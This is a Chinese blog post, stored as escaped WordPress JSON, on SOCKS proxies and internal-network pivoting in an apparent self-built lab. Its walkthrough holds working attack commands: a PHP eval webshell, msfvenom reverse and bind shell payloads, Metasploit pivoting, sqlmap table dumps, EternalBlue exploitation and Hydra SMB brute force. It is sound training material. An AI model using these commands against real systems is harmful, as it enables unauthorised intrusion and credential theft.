\n
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216100748.png\")
<\/div><\/li>\n\n
![\"Pasted](\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/02\/Pasted-image-20250216101348.png\")
<\/div><\/li>\n<\/ul>\n\u6bd4\u5982\u6211\u4eec\u56fd\u5185\u8bbf\u95ee\u8c37\u6b4c\uff0c\u76f4\u63a5\u8bbf\u95ee\u8bbf\u95ee\u4e0d\u5230\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u6b63\u5411\u4ee3\u7406\u670d\u52a1\u5668\uff0c\u8bf7\u6c42\u53d1\u5230\u80fd\u591f\u8bbf\u95ee\u8c37\u6b4c\u7684\u4ee3\u7406\u670d\u52a1\u5668\uff0c\u8fd9\u6837\u7531\u4ee3\u7406\u53bb\u8c37\u6b4c\u53d6\u5230\u8fd4\u56de\u6570\u636e\uff0c\u518d\u8fd4\u56de\u7ed9\u6211\u4eec\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u80fd\u8bbf\u95ee\u8c37\u6b4c\u4e86\u3002<\/p>\n
2\uff09\u53cd\u5411\u4ee3\u7406<\/h3>\n
\u53cd\u5411\u4ee3\u7406\uff08Reverse Proxy\uff09\uff1a\u6b63\u597d\u4e0e\u6b63\u5411\u4ee3\u7406\u76f8\u53cd\uff0c\u5bf9\u4e8e\u5ba2\u6237\u7aef\u800c\u8a00\u4ee3\u7406\u670d\u52a1\u5668\u5c31\u50cf\u662f\u539f\u59cb\u670d\u52a1\u5668\uff0c \u5e76\u4e14\u5ba2\u6237\u7aef\u4e0d\u9700\u8981\u8fdb\u884c\u4efb\u4f55\u7279\u522b\u7684\u8bbe\u7f6e\u3002\u5ba2\u6237\u7aef\u5411\u53cd\u5411\u4ee3\u7406\u53d1\u9001\u666e\u901a\u8bf7\u6c42\uff0c\u63a5\u7740\u53cd\u5411\u4ee3\u7406\u5c06\u5224\u65ad\u5411\u4f55\u5904\uff08\u539f\u59cb\u670d\u52a1\u5668\uff09\u8f6c\u4ea4\u8bf7\u6c42\uff0c\u5e76\u5c06\u83b7\u5f97\u7684\u5185\u5bb9\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\u3002<\/p>\n
\u5b9e\u9645\u8fd0\u884c\u65b9\u5f0f\u662f\u6307\u4ee5\u4ee3\u7406\u670d\u52a1\u5668\u6765\u63a5\u53d7internet\u4e0a\u7684\u8fde\u63a5\u8bf7\u6c42\uff0c\u7136\u540e\u5c06\u8bf7\u6c42\u8f6c\u53d1\u7ed9\u5185\u90e8\u7f51\u7edc\u4e0a\u7684\u670d\u52a1 \u5668\uff0c\u5e76\u5c06\u4ece\u670d\u52a1\u5668\u4e0a\u5f97\u5230\u7684\u7ed3\u679c\u8fd4\u56de\u7ed9internet\u4e0a\u8bf7\u6c42\u8fde\u63a5\u7684\u5ba2\u6237\u7aef\uff0c\u6b64\u65f6\u4ee3\u7406\u670d\u52a1\u5668\u5bf9\u5916\u5c31\u8868\u73b0\u4e3a\u4e00 \u4e2a\u670d\u52a1\u5668\u3002<\/p>\n
\u4f5c\u7528\uff1a<\/p>\n
- \n
- \u4fdd\u62a4\u548c\u9690\u85cf\u539f\u59cb\u8d44\u6e90\u670d\u52a1\u5668
\n![\"Pasted](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/li>\n<\/ul>\n\u6b63\u5411\u4ee3\u7406\u4ee3\u7406\u5ba2\u6237\u7aef\uff0c\u53cd\u5411\u4ee3\u7406\u4ee3\u7406\u670d\u52a1\u5668\u3002<\/p>\n
3\uff09\u900f\u660e\u4ee3\u7406<\/h3>\n
\u900f\u660e\u4ee3\u7406\u7684\u610f\u601d\u662f\u5ba2\u6237\u7aef\u6839\u672c\u4e0d\u9700\u8981\u77e5\u9053\u6709\u4ee3\u7406\u670d\u52a1\u5668\u7684\u5b58\u5728\uff0c\u5b83\u6539\u53d8\u4f60\u7684\u8bf7\u6c42\u62a5\u6587\uff0c\u5e76\u4f1a\u4f20\u9001\u771f\u5b9e IP\u3002<\/p>\n
\u900f\u660e\u4ee3\u7406\u5b9e\u4f8b\uff0c\u5f88\u591a\u516c\u53f8\u4f7f\u7528\u7684\u884c\u4e3a\u7ba1\u7406\u8f6f\u4ef6<\/p>\n
<\/div><\/p>\n\u5ba2\u6237\u7aef A \u548c\u5ba2\u6237\u7aef B \u5e76\u4e0d\u77e5\u9053\u884c\u4e3a\u7ba1\u7406\u8bbe\u5907\u5145\u5f53\u900f\u660e\u4ee3\u7406\u884c\u4e3a\uff0c\u5f53\u7528\u6237 A \u6216\u7528\u6237 B \u5411\u670d\u52a1\u5668 A \u6216\u670d \u52a1\u5668 B \u63d0\u4ea4\u8bf7\u6c42\u7684\u65f6\u5019\uff0c\u900f\u660e\u4ee3\u7406\u8bbe\u5907\u6839\u636e\u81ea\u8eab\u7b56\u7565\u62e6\u622a\u5e76\u4fee\u6539\u7528\u6237 A \u6216 B \u7684\u62a5\u6587\uff0c\u5e76\u4f5c\u4e3a\u5b9e\u9645\u7684\u8bf7\u6c42\u65b9\uff0c\u5411\u670d\u52a1\u5668 A \u6216 B \u53d1\u9001\u8bf7\u6c42\uff0c\u5f53\u63a5\u6536\u4fe1\u606f\u56de\u4f20\uff0c\u900f\u660e\u4ee3\u7406\u518d\u6839\u636e\u81ea\u8eab\u7684\u8bbe\u7f6e\u628a\u5141\u8bb8\u7684\u62a5\u6587\u53d1\u56de\u81f3 \u7528\u6237 A \u6216 B\uff0c\u5982\u4e0a\u56fe\uff0c\u5982\u679c\u900f\u660e\u4ee3\u7406\u8bbe\u7f6e\u4e0d\u5141\u8bb8\u8bbf\u95ee\u670d\u52a1\u5668 B\uff0c\u90a3\u4e48\u7528\u6237 A \u6216\u8005\u7528\u6237 B \u5c31\u4e0d\u4f1a\u5f97\u5230\u670d \u52a1\u5668 B \u7684\u6570\u636e\u3002<\/p>\n
2.Socks\u7b80\u4ecb<\/h2>\n
SOCKS\u662f\u4e00\u79cd\u7f51\u7edc\u4f20\u8f93\u534f\u8bae\uff0c\u4e3b\u8981\u7528\u4e8e\u5ba2\u6237\u7aef\u4e0e\u5916\u7f51\u670d\u52a1\u5668\u4e4b\u95f4\u901a\u8baf\u7684\u4e2d\u95f4\u4f20\u9012\u3002<\/p>\n
\u6839\u636eOSI\u6a21\u578b\uff0cSOCKS\u662f\u4f1a\u8bdd\u5c42\u7684\u534f\u8bae\uff0c\u4f4d\u4e8e\u8868\u793a\u5c42\u4e0e\u4f20\u8f93\u5c42\u4e4b\u95f4\u3002<\/p>\n
\u4f7f\u7528TCP\u534f\u8bae\u4f20\u8f93\u6570\u636e\uff0c\u56e0\u800c\u4e0d\u63d0\u4f9b\u5982\u4f20\u9012 ICMP \uff08\u6bd4\u5982ping\uff09\u4fe1\u606f\u4e4b\u7c7b\u7684\u7f51\u7edc\u5c42\u7f51\u5173\u670d\u52a1\u3002<\/p>\n
\u73b0\u4eca\u5927\u591a\u7ec4\u7ec7\u7684\u7f51\u7edc\u67b6\u6784\uff0c\u5229\u7528\u7f51\u7edc\u9632\u706b\u5899\u5c06\u7ec4\u7ec7\u5185\u90e8\u7684\u7f51\u7edc\u7ed3\u6784\u4e0e\u5916\u90e8\u7f51\u7edc\u5982 Internet \u6709\u6548\u5730\u9694 \u79bb\u5f00\u6765\u3002\u8fd9\u4e9b\u9632\u706b\u5899\u7cfb\u7edf\u901a\u5e38\u4ee5\u5e94\u7528\u5c42\u7f51\u5173\u7684\u5f62\u5f0f\u5de5\u4f5c\u5728\u7f51\u7edc\u4e4b\u95f4\uff0c\u63d0\u4f9b\u53d7\u63a7\u7684 TELNET\u3001FTP\u3001SMTP \u7b49\u7684\u63a5\u5165\u3002<\/p>\n
\u800cSOCKS \u5219\u63d0\u4f9b\u4e00\u4e2a\u901a\u7528\u6846\u67b6\u6765\u4f7f\u8fd9\u4e9b\u534f\u8bae\u5b89\u5168\u900f\u660e\u5730\u7a7f\u8fc7\u9632\u706b\u5899\u3002<\/p>\n
3.Socks\u4ee3\u7406\u7b80\u4ecb<\/h2>\n
- \n
- \u88ab\u4ee3\u7406\u7aef\u4e0e\u4ee3\u7406\u670d\u52a1\u5668\u901a\u8fc7 SOCKS4\/5 \u4ee3\u7406\u534f\u8bae\u8fdb\u884c\u901a\u8baf\uff1b<\/li>\n
- SOCKS4\uff1a\u662f\u5bf9HTTP\u4ee3\u7406\u534f\u8bae\u7684\u52a0\u5f3a\uff0c\u5b83\u4e0d\u4ec5\u4ee3\u7406HTTP\u534f\u8bae\uff0c\u800c\u662f\u5bf9\u6240\u6709\u5411\u5916\u7684\u8fde\u63a5\u8fdb\u884c\u4ee3\u7406\uff0c\u6ca1\u6709\u534f\u8bae\u9650\u5236\uff1b<\/li>\n
- SOCKS4a\uff1aSOCKS4\u534f\u8bae\u7684\u7b80\u5355\u6269\u5c55\uff0c\u5141\u8bb8\u5ba2\u6237\u7aef\u5bf9\u65e0\u6cd5\u89e3\u6790\u57df\u540d\u7684\u76ee\u7684\u4e3b\u673a\u8fdb\u884c\u8bbf\u95ee<\/li>\n
- SOCKS5\uff1aSOCKS5\u6bd4SOCKS4a\u591a\u4e86\u8eab\u4efd\u9a8c\u8bc1\u3001IPv6\u3001UDP\u652f\u6301\u3002\u521b\u5efa\u4e0eSOCKS5\u670d\u52a1\u5668\u7684TCP\u8fde\u63a5\u540e\u5ba2\u6237\u7aef\u9700\u8981\u5148\u53d1\u9001\u8bf7\u6c42\u6765\u786e\u8ba4\u534f\u8bae\u7248\u672c\u53ca\u8ba4\u8bc1\u65b9\u5f0f<\/li>\n<\/ol>\n
4.\u4f7f\u7528Socks\u4ee3\u7406<\/h2>\n
- \n
- SOCKS\u670d\u52a1\u5668\u7684IP\u5730\u5740<\/li>\n
- SOCKS\u670d\u52a1\u6240\u5728\u7aef\u53e3<\/li>\n
- SOCKS\u670d\u52a1\u662f\u5426\u9700\u8981\u8eab\u4efd\u9a8c\u8bc1<\/li>\n<\/ol>\n
5.Socks\u4ee3\u7406\u4e0eVPN\u533a\u522b<\/h2>\n
VPN\u4e3b\u8981\u7528\u4e8e\u4ece\u5916\u7f51\u8bbf\u95ee\u4f01\u4e1a\u3001\u516c\u53f8\u7684\u5185\u90e8\u7f51\u7edc\uff0c\u539f\u7406\u662f\u5148\u767b\u5f55\u5230VPN\u9632\u706b\u5899\u3001\u670d\u52a1\u5668\uff0c\u5f97\u5230\u6743\u9650\uff0c \u518d\u8fdb\u5165\u5185\u7f51\u3002\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u7528\u6237\u4e00\u76f4\u662f\u4ee5\u81ea\u5df1\u7684\u8eab\u4efd\u8fdb\u884c\u7684\u3002
\n\u800cSocks5\u662f\u4e00\u79cd\u4ee3\u7406\uff0c\u4e5f\u5c31\u662f\u6240\u6709\u7684\u4ea4\u4e92\u6570\u636e\u90fd\u5148\u7ecf\u8fc7\u53e6\u4e00\u53f0\u4e3b\u673a\uff08\u7f51\u5361\uff09\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u7528\u6237\u8bbf\u95ee\u5176\u4ed6\u7f51\u7edc\u662f\u90fd\u662f\u4f7f\u7528\u7684\u4ee3\u7406\u670d\u52a1\u63d0\u4f9b\u8005\u7684\u8eab\u4efd\u3002<\/p>\n<\/div><\/p>\n<\/h2>\n
\u4e8c\u3001Socks\u4ee3\u7406\u5b9e\u6218\u4e00(MSF)<\/h1>\n
1.\u6e17\u900f\u573a\u666f<\/h2>\n
<\/div><\/p>\n2.\u6d4b\u8bd5Target1<\/h2>\n
\u6ce8\u610f\uff1a
\n\u5728\u672c\u5730\u642d\u5efa\u7684\u4e3b\u673a\uff0c\u4f7f\u7528\u7684\u662fvm2\u7684\u7f51\u5361\uff0c\u9700\u8981==\u7981\u7528==\u624d\u80fd\u907f\u514dkali\u76f4\u63a5ping\u5230192.168.22.0\/24\u7f51\u6bb5\uff0c\u4ece\u800c\u642d\u5efa\u4e00\u4e2a\u6e17\u900f\u73af\u5883\u3002<\/p>\n1\uff09\u4fe1\u606f\u6536\u96c6<\/h3>\n
- \n
- \u7aef\u53e3\u4fe1\u606f\u6536\u96c6<\/li>\n<\/ul>\n
nmap -A -T4 -p- --script vuln 10.34.126.178\n\n\u5f00\u653e\u7aef\u53e3\uff1a21\/22\/80\/111\/888\/3306\/8888 \n\u64cd\u4f5c\u7cfb\u7edf\uff1aLinux\n<\/code><\/pre>\n<\/div><\/p>\n- \n
- \u76ee\u5f55\u626b\u63cf<\/li>\n<\/ul>\n
feroxbuster -u http:\/\/10.34.126.178 -w dic.txt -C 400 401 402 403 404\n<\/code><\/pre>\n<\/div><\/p>\n\u53d1\u73b0\u662fThinkPHP
\n<\/div><\/p>\n2\uff09\u5206\u6790\u5229\u7528<\/h3>\n
- \n
- 80\u7aef\u53e3<\/li>\n<\/ul>\n
- \n
- Thinkphp v5.0 \u5b58\u5728\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u901a\u8fc7\u547d\u4ee4\u6267\u884c\u5199\u5165\u4e00\u53e5\u8bdd\uff0c\u53ef GetShell
\n<\/div><\/li>\n- \u6267\u884c\u547d\u4ee4\uff0c\u5c06webshell\u91cd\u5b9a\u5411\u52303.php<\/li>\n<\/ol>\n
echo \"<?php eval(\\$_POST[pass]);?>\" > 3.php\n<\/code><\/pre>\n\u6ce8\u610f\uff1a\u5728Linux\u4e2d
$<\/code>\u8868\u793a\u53d8\u91cf\uff0c\u8981\u7528\\<\/code>\u8fdb\u884c\u8f6c\u4e49<\/p>\necho PD9waHAgZXZhbCgkX1BPU1RbcGFzc10pOz8+ | base64 -d > 4.php\n<\/code><\/pre>\n<\/div><\/p>\n- \n
- \u4f7f\u7528\u8681\u5251\u8fde\u63a5
\n<\/div><\/li>\n<\/ol>\n3\uff09\u4e3b\u673a\u4fe1\u606f\u6536\u96c6<\/h3>\n
\u4f7f\u7528
ifconfig<\/code>\u53d1\u73b0192.168.22.0\/24\u7f51\u6bb5\u5b58\u6d3b<\/p>\n<\/div><\/p>\n4\uff09\u53cd\u5f39Shell<\/h3>\n
\u53cd\u5f39Target1\u7684 Shell\u5230MSF<\/p>\n
\uff081\uff09\u65b9\u6cd5\u4e00<\/h4>\n
- \n
- msfvenom\u751f\u6210payload<\/li>\n<\/ul>\n
msfvenom -p linux\/x64\/meterpreter_reverse_tcp lhost=10.34.126.129 lport=5555 -f elf -o 5555.elf\n<\/code><\/pre>\n- \n
- \u4e0a\u4f20\u5230Target1\u7684\/tmp\u76ee\u5f55\u4e0b\u6267\u884c
\n<\/div><\/li>\n<\/ul>\n# \u8d4b\u4e88\u6267\u884c\u6743\u9650\nchmod +x 5555.elf\n\n# \u6267\u884c\u7a0b\u5e8f\n.\/5555.elf\n<\/code><\/pre>\n- \n
- \u83b7\u5f97Target1\u7684meterpreter
\n<\/div><\/li>\n<\/ul>\n\uff082\uff09\u65b9\u6cd5\u4e8c\uff08\u5efa\u8bae\uff09<\/h4>\n
- \n
- \u4f7f\u7528MSF\u7684ThinkPHP\u6a21\u5757
\n<\/div><\/li>\n- \u4f7f\u7528\u6a21\u5757\uff0c\u83b7\u5f97meterpreter
\n<\/div><\/li>\n<\/ul>\n5\uff09\u5efa\u7acbSocks\u4ee3\u7406<\/h3>\n
\uff081\uff09\u83b7\u5f97Target1\u7684meterpreter shell\u540e\uff0c\u6dfb\u52a0\u5230192.168.22.0\/24\u7f51\u6bb5\u7684\u8def\u7531<\/h4>\n
\u4f7f\u653b\u51fb\u8005\u53ef\u4ee5\u8bbf\u95ee\u76ee\u6807\u4e3b\u673a\u7684\u5185\u7f51\u3002<\/p>\n
run autoroute -s 192.168.22.0\/24\nrun autoroute -p\n<\/code><\/pre>\n<\/div><\/p>\n\uff082\uff09\u4f7f\u7528MSF\u7684socks5\u6a21\u5757\u542f\u52a8socks\u4ee3\u7406\u670d\u52a1<\/h4>\n
\u53ef\u4ee5\u4f7f\u672c\u5730\u5de5\u5177\u6216\u8f6f\u4ef6\u901a\u8fc7\u4ee3\u7406\u7ecfautoroute\u6dfb\u52a0\u7684\u8def\u7531\u8bbf\u95ee\u5185\u7f51<\/p>\n
use auxiliary\/server\/socks_proxy\nrun\n<\/code><\/pre>\n<\/div><\/p>\n\uff083\uff09\u914d\u7f6e proxychains \u4ee3\u7406\u5de5\u5177<\/h4>\n
vim \/etc\/proxychains4.conf \nsocks5 127.0.0.1 1080\n<\/code><\/pre>\n<\/div><\/p>\n\uff084\uff09\u4f7f\u7528proxychains\u4ee3\u7406<\/h4>\n
\u53ef\u4ee5\u8ba9\u5176\u4ed6\u5de5\u5177\u7684\u6d41\u91cf\u5f3a\u5236\u901a\u8fc7\u6307\u5b9a\u4ee3\u7406\u8f6c\u53d1<\/p>\n
proxychains curl 192.168.22.22 \n<\/code><\/pre>\n<\/div><\/p>\n\u6ce8\u610f\uff1a\u5728\u4f7f\u7528proxychains\u65f6\uff0c\u51fa\u73b0\u65e0\u6cd5\u627e\u5230\u914d\u7f6e\u6587\u4ef6\u65f6\u53ef\u4ee5\u5c06proxychains.conf \u6587\u4ef6\u5220\u9664
\n<\/div><\/p>\n\uff085\uff09\u914d\u7f6e\u4ee3\u7406\u63d2\u4ef6<\/h4>\n
<\/div><\/p>\n\uff086\uff09\u5f00\u542f\u4ee3\u7406\uff0c\u6210\u529f\u8bbf\u95ee192.168.22.22\uff08\u5185\u7f51\uff09<\/h4>\n
<\/div><\/p>\n3.\u6d4b\u8bd5Target2<\/h2>\n
1\uff09\u4fe1\u606f\u6536\u96c6<\/h3>\n
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22\n\u5f00\u653e\u7aef\u53e3\uff1a21\/22\/80\/3306\/8888 \n\u64cd\u4f5c\u7cfb\u7edf\uff1alinux\n<\/code><\/pre>\n<\/div><\/p>\n\u6ce8\u610f\uff1a<\/p>\n
- \n
- \u5728\u771f\u5b9e\u7684\u6e17\u900f\u73af\u5883\u4e0b\uff0c\u4f7f\u7528nmap\u8fdb\u884c\u626b\u63cf\u4f1a\u751f\u6210\u5927\u91cf\u7684\u6d41\u91cf\u4f7f\u76ee\u6807\u4e3b\u673a\u7684payload\u65ad\u6389\uff0c\u5e76\u4e14\u4f1a\u88ab\u53d1\u73b0<\/li>\n
- \u5728\u4f7f\u7528socks\u4ee3\u7406\u65f6\uff0cnmap\u5e94\u8be5\u6dfb\u52a0
-Pn<\/code> \uff08\u4e0d\u4ee5ping\u8fdb\u884c\u626b\u63cf\uff0cnmap\u9ed8\u8ba4\u4f7f\u7528ICMP\u534f\u8bae\u626b\u63cf\uff09\uff0c\u56e0\u4e3asocks\u4e0d\u63d0\u4f9b\u5982\u4f20\u9012 ICMP \uff08\u6bd4\u5982ping\uff09\u4fe1\u606f\u4e4b\u7c7b\u7684\u7f51\u7edc\u5c42\u7f51\u5173\u670d\u52a1\u3002<\/li>\n<\/ul>\n2\uff09\u5206\u6790\u5229\u7528<\/h3>\n
- \n
- 21\/22\/3306\u7aef\u53e3<\/li>\n<\/ul>\n
\u5f31\u53e3\u4ee4\u7206\u7834<\/p>\n
- \n
- 80\u7aef\u53e3
\nbagecms\uff0cSQL\u6ce8\u5165<\/li>\n<\/ul>\nproxychains sqlmap -u 'http:\/\/192.168.22.22\/index.php?r=vul&keyword=1' -p keyword\n<\/code><\/pre>\nproxychains sqlmap -u 'http:\/\/192.168.22.22\/index.php?r=vul&keyword=1' -p keyword --dbs\n<\/code><\/pre>\nproxychains sqlmap -u 'http:\/\/192.168.22.22\/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables\n<\/code><\/pre>\nproxychains sqlmap -u 'http:\/\/192.168.22.22\/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump\n<\/code><\/pre>\n\u5f97\u5230\u540e\u53f0\u767b\u5f55\u8d26\u53f7\u5bc6\u7801\u4e3a\uff1aadmin\/123qwe\n\n\u540e\u53f0\u767b\u5f55\u5730\u5740\uff1ahttp:\/\/192.168.22.22\/index.php?r=admini\/public\/login\n<\/code><\/pre>\n<\/div><\/p>\n3\uff09Socks\u4ee3\u7406\u914d\u7f6e<\/h3>\n
\u8681\u5251\u914d\u7f6esocks\u4ee3\u7406\u8fde\u63a5webshell(\u53ef\u4ee5\u76f4\u63a5\u4fdd\u5b58)
\n<\/div><\/p>\n<\/div><\/p>\n4\uff09\u4e3b\u673a\u4fe1\u606f\u6536\u96c6<\/h3>\n
\u53d1\u73b0\u5b58\u5728192.168.33.0\/24\u7684\u5185\u7f51\u7f51\u6bb5\u3002<\/p>\n
<\/div><\/p>\nfscan.exe -h 192.168.33.0\/24\n<\/code><\/pre>\n\u63a2\u6d4b\u6b64\u7f51\u6bb5\u5b58\u6d3b\u4e3b\u673a\uff1a\u53d1\u73b0\u5b58\u6d3b\u4e3b\u673a192.168.33.33
\n<\/div><\/p>\n5\uff09\u6b63\u5411Shell<\/h3>\n
\u56e0\u4e3a\u653b\u51fb\u673a\u7684\u7f51\u6bb5\uff0810.34.126.0\/24\uff09\u548cTarget2\u7684\u7f51\u6bb5\uff08192.168.33.0\/24\uff09\u4e0d\u540c\uff0c\u6240\u4ee5Target2\u65e0\u6cd5\u53cd\u5f39shell\u7ed9\u653b\u51fb\u673a<\/p>\n
\u53cd\u5f39Target2\u7684 shell\u5230 MSF<\/p>\n
\uff081\uff09msfvenom\u751f\u6210linux\u6728\u9a6cpayload<\/h4>\n
msfvenom -p linux\/x64\/meterpreter\/bind_tcp lport=5555 -f elf > mingy2.elf\n<\/code><\/pre>\n\uff082\uff09\u4e0a\u4f20\u5230Target2\u7684\/tmp\u76ee\u5f55\u5e76\u6267\u884c<\/h4>\n
chmod +x mingy2.elf\n.\/mingy2.elf\n<\/code><\/pre>\n<\/div><\/p>\n\uff083\uff09\u521b\u5efa\u6b63\u5411\u76d1\u542c\u5668\uff0c\u5efa\u7acb\u6b63\u5411\u8fde\u63a5<\/h4>\n
use exploit\/multi\/handler\nset payload linux\/x64\/meterpreter\/bind_tcp\nset rhost 192.168.22.22\nset lport 5555\nrun\n<\/code><\/pre>\n\uff084\uff09\u83b7\u5f97meterpreter<\/h4>\n
<\/div><\/p>\n\u6ce8\u610f\uff1a\u987a\u5e8f\u4e0d\u8981\u641e\u6df7\uff0c\u56e0\u4e3a\u751f\u6210\u7684\u662f\u5206\u9636\u6bb5payload\uff0cpayload\u8981\u5148\u6267\u884c\uff0c\u5728\u76ee\u6807\u673a\u5668\u4e0a\u5b9e\u73b0\u76d1\u542c\uff0c\u4e4b\u540e\u5728msf\u53d1\u9001\u540e\u7eedpayload\u7ed9\u76ee\u6807\u673a\u5668<\/p>\n
6\uff09\u6dfb\u52a0\u8def\u7531<\/h3>\n
\u53cd\u5f39\u56deTarget2\u7684meterpreter shell\u4e4b\u540e\uff0c\u6dfb\u52a0\u523033\u7f51\u6bb5\u7684\u8def\u7531\uff1a<\/p>\n
run autoroute -s 192.168.33.0\/24\nrun autoroute -p\n<\/code><\/pre>\n4.\u6d4b\u8bd5Target3<\/h2>\n
1\uff09\u4fe1\u606f\u6536\u96c6<\/h3>\n
proxychains nmap -sT -Pn -p- -n -T4 192.168.33.33\n<\/code><\/pre>\n<\/div><\/p>\n2\uff09\u5206\u6790\u5229\u7528<\/h3>\n
\uff081\uff09 445\u7aef\u53e3<\/h4>\n
\u68c0\u6d4bms17-010\u6f0f\u6d1e<\/p>\n
use auxiliary\/scanner\/smb\/smb_ms17_010\nset RHOSTS 192.168.33.33\nexploit \n<\/code><\/pre>\n<\/div><\/p>\n\u5229\u7528ms17-010\u6f0f\u6d1e<\/p>\n
use exploit\/windows\/smb\/ms17_010_psexec\nset RHOSTS 192.168.33.33\nset payload windows\/x64\/meterpreter\/bind_tcp\nset LPORT 4445\nrun\n<\/code><\/pre>\nuse exploit\/windows\/smb\/ms17_010_eternalblue\nset RHOSTS 192.168.33.33\nset payload windows\/x64\/meterpreter\/bind_tcp\nrun\n<\/code><\/pre>\n\u5982\u679cms17\u6a21\u5757\u5229\u7528\u4e0d\u4e86\u53ef\u4ee5\u4f7f\u7528SMB\uff0c\u4f7f\u7528hydra\u7206\u7834SMB<\/p>\n
export HYDRA_PROXY=socks5:\/\/127.0.0.1:10090\nhydra -l administrator -P pass.txt smb:\/\/192.168.33.33\n<\/code><\/pre>\n<\/div><\/p>\nuse exploit\/windows\/smb\/ms17_010_psexec\nset SMBPass root\nset SMBUser administrator\nrun\n<\/code><\/pre>\n<\/div><\/p>\n<\/div><\/p>\n\uff082\uff093389\u7aef\u53e3<\/h4>\n
\u8fdc\u7a0b\u684c\u9762\u8fde\u63a5<\/p>\n
- \n
- Windows\u7cfb\u7edf\u4f7f\u7528 proxifier\uff0c\u4ee3\u7406RDP\u8fdc\u7a0b\u684c\u9762\u8fde\u63a5<\/li>\n<\/ul>\n
- \n
- \u4f7f\u7528 proxifier\u6dfb\u52a0\u4ee3\u7406\u670d\u52a1\u5668
\n<\/div><\/li>\n- \u6dfb\u52a0\u4ee3\u7406\u670d\u52a1\u5668
\n<\/div><\/li>\n- \u6dfb\u52a0\u4ee3\u7406\u89c4\u5219
\n<\/div><\/li>\n- \u4f7f\u7528\u4ee3\u7406\u89c4\u5219
\n<\/div><\/li>\n- \u6253\u5f00\u8fdc\u7a0b\u684c\u9762\u8fde\u63a5\u7a0b\u5e8f
\n<\/div><\/li>\n- \u6dfb\u52a0\u76ee\u6807\u4e3b\u673aIP
\n<\/div><\/li>\n- \u8fdb\u884c\u8fde\u63a5
\n<\/div><\/li>\n- \u6210\u529f\u8fde\u63a5
\n<\/div><\/li>\n<\/ol>\n- \n
- Linux\u7cfb\u7edf\u4f7f\u7528 proxychains\u4ee3\u7406 rdesktop \u8fdc\u7a0b\u8fde\u63a5Windows\u684c\u9762<\/li>\n<\/ul>\n
proxychains -q rdesktop -u administrator -p root 192.168.33.33\n<\/code><\/pre>\n<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"\u4e00\u3001Socks\u4ee3\u7406\u7b80\u4ecb 1.\u4ee3\u7406\u7b80\u4ecb \u4ee3\u7406\u670d\u52a1\u5668\u4f5c\u4e3a\u4e00\u4e2a\u4e2d\u95f4\u4eba\uff0c\u8d1f\u8d23\u8f6c\u53d1\u5ba2\u6237\u7aef\u8bf7\u6c42\u6d88\u606f\u4ee5\u53ca\u670d\u52a1\u7aef\u54cd\u5e94\u6d88\u606f\u3002 1 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,9],"tags":[],"class_list":["post-1936","post","type-post","status-publish","format-standard","hentry","category-55","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1936","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1936"}],"version-history":[{"count":2,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1936\/revisions"}],"predecessor-version":[{"id":1938,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1936\/revisions\/1938"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1936"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
- \u6dfb\u52a0\u4ee3\u7406\u670d\u52a1\u5668
- \u4f7f\u7528 proxifier\u6dfb\u52a0\u4ee3\u7406\u670d\u52a1\u5668
- Windows\u7cfb\u7edf\u4f7f\u7528 proxifier\uff0c\u4ee3\u7406RDP\u8fdc\u7a0b\u684c\u9762\u8fde\u63a5<\/li>\n<\/ul>\n
- 80\u7aef\u53e3
- 21\/22\/3306\u7aef\u53e3<\/li>\n<\/ul>\n
- \u4f7f\u7528\u6a21\u5757\uff0c\u83b7\u5f97meterpreter
- \u4f7f\u7528MSF\u7684ThinkPHP\u6a21\u5757
- \u83b7\u5f97Target1\u7684meterpreter
- \u4e0a\u4f20\u5230Target1\u7684\/tmp\u76ee\u5f55\u4e0b\u6267\u884c
- msfvenom\u751f\u6210payload<\/li>\n<\/ul>\n
- \u6267\u884c\u547d\u4ee4\uff0c\u5c06webshell\u91cd\u5b9a\u5411\u52303.php<\/li>\n<\/ol>\n
- Thinkphp v5.0 \u5b58\u5728\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u901a\u8fc7\u547d\u4ee4\u6267\u884c\u5199\u5165\u4e00\u53e5\u8bdd\uff0c\u53ef GetShell
